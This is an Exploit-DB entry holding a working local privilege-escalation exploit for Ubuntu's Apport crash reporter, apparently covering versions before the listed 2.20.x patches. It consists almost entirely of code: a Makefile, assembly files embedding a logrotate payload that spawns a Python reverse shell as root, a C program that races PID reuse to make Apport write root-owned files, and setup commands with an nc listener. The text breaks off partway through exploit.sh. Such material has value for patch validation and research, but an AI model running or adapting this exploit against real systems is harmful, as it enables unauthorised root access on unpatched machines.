Exploit-DB #49572
Description: Apport 2.20 - Local Privilege Escalation
Type: local
Platform: linux
Date: 2021-02-18
Author: Gr33nh4t

Exploit:
# Exploit Title: Apport 2.20 - Local Privilege Escalation
# Date: 18/02/21
# Exploit Author: Gr33nh4t
# Vendor Homepage: https://ubuntu.com/
# Version:

Apport: Ubuntu 20.10 - Before 2.20.11-0ubuntu50.5
Apport: Ubuntu 20.04 - Before 2.20.11-0ubuntu27.16
Apport: Ubuntu 18.04 - Before 2.20.9-0ubuntu7.23
Apport: Ubuntu 16.04 - Before 2.20.1-0ubuntu2.30

# Tested on: Ubuntu 

This is a POC for Apport exploit, we exploited these bugs by launching a reverse shell to 127.0.0.1:1234.

# Setup

To compile the exploit code several packages are needed:
sudo apt-get install build-essential nasm gcc

# Compilation

make

# Run

./exploit.sh

The reverse shell will connect on the next execution of logrotate

nc -l -p 1234

## Makefile ##

.PHONY: all clean

CC=gcc
CFLAGS=

NASM=nasm
NASM_FLAGS=-f elf64

LD=ld


all: exploit crash decoy

exploit: exploit.c
	$(CC) -o $@ $< $(CFLAGS)
	chmod +x $@

crash: crash.o
	$(LD) $^ -o $@

decoy: decoy.o
	$(LD) $^ -o $@

crash.o: crash.asm
	$(NASM) $(NASM_FLAGS) $^ 

decoy.o: decoy.asm
	$(NASM) $(NASM_FLAGS) $^ 


clean:
	rm exploit decoy crash *.o

## crash.asm ##

section .data
	message db 10,"/var/crash/test.log{",10,"    su root root",10,"    daily",10,"    size=0",10,"    firstaction",10,"        python3 -c ", 34, "import sys,socket,os,pty; s=socket.socket();s.connect(('127.0.0.1', 1234));[os.dup2(s.fileno(), fd) for fd in (0,1,2)];pty.spawn('/bin/sh')", 34, ";",10,"    endscript",10,"}",10, 00
	timeval:
	tv_sec	dd 0
	tv_usec dd 0


section .text
	global _start
_start:
	mov dword [tv_sec], 4000000
	mov dword [tv_usec], 0
	mov rax, 35
	mov rdi, timeval
	mov rsi, 0
	syscall

## decoy.asm ##

section .text
	global _start
_start:
	mov dword [0], 0

## exploit.c ## 

#include <unistd.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#define PID_THRESHOLD (80)

int read_max_pid_file()
{
	FILE *fd = 0;
	char buf[256];

	fd = fopen("/proc/sys/kernel/pid_max", "r");
	fread(buf, sizeof(buf), 1, fd);
	fclose(fd);
	return atoi(buf);
}

void write_to_fifo_file(char * path)
{
	FILE *fd = 0;
	char buf[] = "A";

	fd = fopen(path, "w");
	fwrite(buf, sizeof(buf), 1, fd);
	fclose(fd);
	return;
}


int main(int argc, char *argv[])
{
	int iteration = 0;
	pid_t crash_pid = -1, temp_pid = -1, spray_pid = -1;
	int current_pid = 0, max_pid = 0;
	int total_pid = 0;

	char *crash_argv[] = {"crash", NULL};
	char *sudo_argv[] = {"sudo", "-S", "sud", NULL};

	char current_dir[1024] = {0};
	char exec_buf[2048] = {0};
	char crash_buf[2048] = {0};

	struct stat sb = {0} ;

	int null_fd = -1;

	signal(SIGCHLD, SIG_IGN);
	getcwd(current_dir, sizeof(current_dir));
	snprintf(exec_buf, sizeof(exec_buf), "%s/%s", current_dir, "a\rUid: 0\rGid: 0");
	snprintf(crash_buf, sizeof(crash_buf), "%s/%s", current_dir, "crash");

	chdir("/etc/logrotate.d/");



	// Creating the crash program
	if (0 == stat(crash_buf, &sb) && sb.st_mode & S_IXUSR)
	{
		crash_pid = fork();
		if (0 == crash_pid)
		{
			execve(crash_buf, crash_argv, NULL);
			exit(0);
		}
		else if(-1 == crash_pid)
		{
			printf("[-] Could not fork program\n");
			return -1;
		}
	}
	else
	{
		printf("[-] Please check crash file executable.");
		return -1;
	}
	

	max_pid = read_max_pid_file();
	printf("[*] crash pid: %d\n", crash_pid);
	printf("[*] max pid: %d\n", max_pid);

	printf("[*] Creating ~%d PIDs\n", max_pid);
    printf("[*] Forking new processes\n");
	sleep(3);

	// Iterating through max_pid to almost reach the crash program pid
	while (iteration < max_pid - 1)
	{
		// Print progress of forks
		if( 0 == (iteration % (int)(max_pid / 5000)))
		{
			printf("\rIteration: %d/%d", iteration + 1, max_pid);
			fflush(stdout);
		}
		temp_pid = -1;
		temp_pid = fork();
		if (0 == temp_pid)
		{
			exit(0);
		}
		else if (temp_pid > 0)
		{
			iteration++;
			// We should stop before the crash pid to avoid other processes created meanwhile to interfere the exploit process
			if ( temp_pid < crash_pid && crash_pid - temp_pid < PID_THRESHOLD)
			{
				printf("\rIteration: %d/%d\n", iteration + 1, max_pid);
				fflush(stdout);
				printf("[+] less then %d pid from the target: last fork=%d , target: %d\n", PID_THRESHOLD, temp_pid, crash_pid);
				break;
			}
		}
		else if (-1 == temp_pid)
		{
			printf("[-] Could not fork temp programs\n");
		}
	}

	printf("[*] Crashing the crash program\n");
	kill(crash_pid, SIGSEGV); // From Now on the seconds apport will launch and we have 30 seconds to exploit it
	sleep(5);
	printf("[*] Killing the crash program\n");
	kill(crash_pid, SIGKILL);
	sleep(3);

	// Now crash pid is free and we need to occupy it
	for(int i=0; i < PID_THRESHOLD ; i++)
	{
		spray_pid = fork();
		if (0 == spray_pid)
		{
			if (crash_pid == getpid())
			{
				null_fd = open("/dev/null", O_WRONLY);
				dup2(null_fd, 1);
				dup2(null_fd, 2);
				close(null_fd);

				printf("[+] Creating suid process\n");
				execve(exec_buf, sudo_argv, NULL);
			}
			exit(0);
		}
	}

	sleep(3);
	printf("[*] Writing to fifo file\n");
	write_to_fifo_file(argv[1]);

	// Now the first apport released and the second apport resumed
	printf("[+] Wrote core file to cwd!\n");
	sleep(10); // Waiting for the second apport to finish execution

	return 0;
}

## exploit.sh ##

#!/bin/sh
set -e
echo "[*] Running exploit"
touch /var/crash/test.log
ulimit -c unlimited

if [ ! -d "~/.config/apport" ]; then
	echo "[*] Settings directory not exists"
	echo "[*] Creating settings directory"
	mkdir -p ~/.config/apport
fi

if [ ! -f "~/.config/apport/settings" ] ; then
	echo "[*] Settings file not exists"
	echo "[main]\nunpackaged=true\n" > ~/.config/apport/settings
	echo "[+] Settings file created"
fi

DECOY_PATH=`